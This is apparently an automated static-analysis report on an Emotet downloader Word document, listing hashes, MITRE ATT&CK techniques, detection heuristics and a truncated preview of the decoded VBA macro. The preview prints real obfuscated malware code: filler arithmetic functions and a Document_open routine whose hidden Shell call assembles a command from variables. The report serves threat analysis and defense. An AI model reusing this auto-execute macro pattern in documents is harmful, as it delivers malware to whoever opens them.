Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2032307a71aa5692…

MALICIOUS

Office (OLE)

209.5 KB Created: 2018-07-18 21:24:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 9ec6a7bcd28a0bbff6e083c8c7ff294f SHA-1: d7de53a3da787f12b49997b051fdaf131f2830ad SHA-256: 2032307a71aa56928db8dbd58ee15d03de0fb1efca781ab989023a9da77cd0ea
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The critical heuristic firing of a Shell() call in VBA indicates that the macro attempts to execute external commands. This is further supported by the ClamAV detection identifying the file as 'Doc.Downloader.Emotet-6878565-0', strongly suggesting its purpose is to download and execute a secondary payload. The obfuscated nature of the VBA script prevents a more detailed analysis of its specific actions.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6878565-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6878565-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39992 bytes
SHA-256: 7bc3f7f0aca6a8a1a9ef985ae5d6717eb0e011fe18b4bc9b8f1c2b310b144b27
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iwZHmPhjXwZHvF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function SmHuiVM()
On Error Resume Next
   XzLwAh = 59979 * vILqO - MHYsFR / YHaNR + (23813 - QVBOTS / jnwpP / 7204)
   ikzow = 96550 * PHbbh - skjiUi / ZGzWv + (54836 - UcCpNT / cqQdQ / 97730)
   unslN = 75590 * NGuVc - YnatTS / nEmNNc + (31507 - TFEjrT / JdKOs / 34095)
   asqHKp = 29096 * iEwbZj - LcVDBv / rVJCP + (10116 - iststi / VimzFJ / 14338)
   YsFRi = 4541 * JVtXB - zHaJB / MDjjws + (80951 - iGwmwn / lKJoz / 62504)
End Function
Private Function rruEDpjwjiSqBf()
On Error Resume Next
   zokZKq = 9152 * VWiiB - vEQCM / VWtmIq + (1375 - JSnmAC / ILCtP / 96320)
   tlQTO = 77668 * zsdPR - vwQUqY / Cisiw + (59789 - sNJwtb / AArXm / 84960)
   uIllz = 26798 * lYZZm - LtmVi / XlijV + (81407 - vzYzD / OjnjtM / 65303)
   uzptB = 54216 * dSGFQ - JAZQK / zMuCN + (55434 - OSMtu / YujWE / 57755)
   blXToq = 78663 * FCDqV - LcPuaS / NbWtX + (60937 - JsIBd / JzJCBj / 11759)
   WItAqm = 71469 * MdwjE - PYIrV / hMqdV + (14909 - IBVHw / dVIVwE / 10898)
   rZtAsG = 36444 * iKJBDK - Qiijc / qWzwb + (7561 - CMnPP / URjUPv / 80775)
End Function
Private Function PquXbun()
On Error Resume Next
   EQfcL = 67171 * iiikq - EtiRBu / ZtMZO + (45666 - bQJJN / zuXzDE / 8083)
   COTDcY = 92862 * hljCrL - FOnWf / VZXPz + (19632 - jNwqw / qzFKun / 60618)
   YhYIiT = 88113 * RiiLjp - nfOaPU / pGvUFA + (7577 - izzuAp / pbCpZi / 16133)
   kVosGA = 94426 * QcNoQY - srUdi / mfWuz + (7862 - qAiaJ / IZYjnf / 48926)
   CjNwR = 65121 * kaKiHz - RzIwom / wnfjQ + (75247 - LjzEt / dphzm / 51426)
End Function
Private Function joHjFoDXjuc()
On Error Resume Next
   HGZsR = 968 / fYANO / jSsMz * tijjw + 90867 + uzzSZY / (kQSAO - wrsAWr * 27379 / qtRDUr)
   YWczkG = 36442 / GboBiP / szFJBl * NFhhDG + 64075 + EjVrs / (XRJrYL - vCMRat * 48934 / PiqHo)
   hqHlTi = 23481 / saaTP / JvdSso * sQqXs + 26874 + tNlTZd / (ipmAYd - oNhQq * 80154 / cCbkfF)
   QNbQRR = 58072 / HtlMbF / RULGDC * GCYAR + 21790 + itYzI / (ZZHLw - YZWFd * 36579 / LKQUz)
End Function
Private Function DCMzrWIjq()
On Error Resume Next
   TkZlvc = 76789 * VLzMHz - dozLcj / NWnYX + (25635 - sTBWI / pwRot / 87377)
   tuTwUQ = 67103 * UfIwMX - zWEau / rwqzbK + (63792 - LSjPb / bUaDz / 39189)
   WOMJRt = 38443 * oSYBC - dztFBJ / MZjlD + (52817 - vBdaRr / bmRsnC / 87247)
   qZRiq = 52804 * rSCrJ - fXOSqW / pwjKUB + (23714 - NOGPjI / LmwmUr / 72632)
   UjwRc = 48635 * RCUPdM - Iowfj / mABFo + (24025 - CYuja / qEZSQ / 26604)
   sUvnZz = 83963 * hJAHSQ - iqcPM / sHopZW + (5679 - WhRAFu / FSPMUT / 82661)
End Function
Private Sub Document_open()
On Error Resume Next
   cYVmT = kXvHZ / 59598 / 26874 + wwqMNU * 40269 * zqLokh / 68519 - zLKwT
   ZqnNiX = kkEGNB / 6181 / 13107 + cECYi * 51757 * bCnfJN / 38691 - MfNQV
   lUvlH = JOwrK / 97903 / 66098 + ujntZ * 11524 * NcRpj / 99542 - NcpYC
Shell "" + CUFbjdUhMqwi + uGzMLKurV + CVar("c") + pthomkpUR + ZzuziFT + XZnXrQ + hwNbPIrmDQz + jHdaETmcG + FFiMVfKiv + tFGjw + pEjSS + XzBPwXl + wdrpwSsGH + XVlGCOMbM + qhWNBJR + HpOUSXpdBXd + aPQJaRXz + AjROMfb + JNzUQmY + wvhVbaYaoF + ANuMtMLXrdvaR, 0
   TCmwc = YlrLEi / 60766 / 79338 + dkpMQ * 99510 * cfpuHd / 40751 - HEiaE
   JOGbc = Bphfi / 78594 / 40 + kFbBm * 49303 * GiavQ / 82533 - AwFki
End Sub
Private Function FpXdbpHPYoV()
On Error Resume Next
   wGZSw = CfjjMM / 94605 / 79489 + ZzKZkJ * 99519 * dIwRwT / 2301 - vBhBp
   ciabz = (93918 + CVlHj)
   jfYvZ = (16266 + RiAWp)
   wEMwTv = (19930 + iEMfa)
   Pnvtf = (57163 + LOaiTr)
End Function
Private Function titGOMavvBCt()
On Error Resume Next
   pbTjN = (53312 + FzSOul)
   awaYV = (20338 + Huwkz)
   Yzsri = (63177 + ZkFEBi)
   wDWijJ = (77362 + osBoi)
   TaAnWD = (19356 + TrtCi)
End Function
Private Function sNwsldBvIWm()
On Error Resume Next
   mmHFZ = (59864 + COKFh)
   GomGF = (6808 + zjDppf)
   RCiJW = (40246 + 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.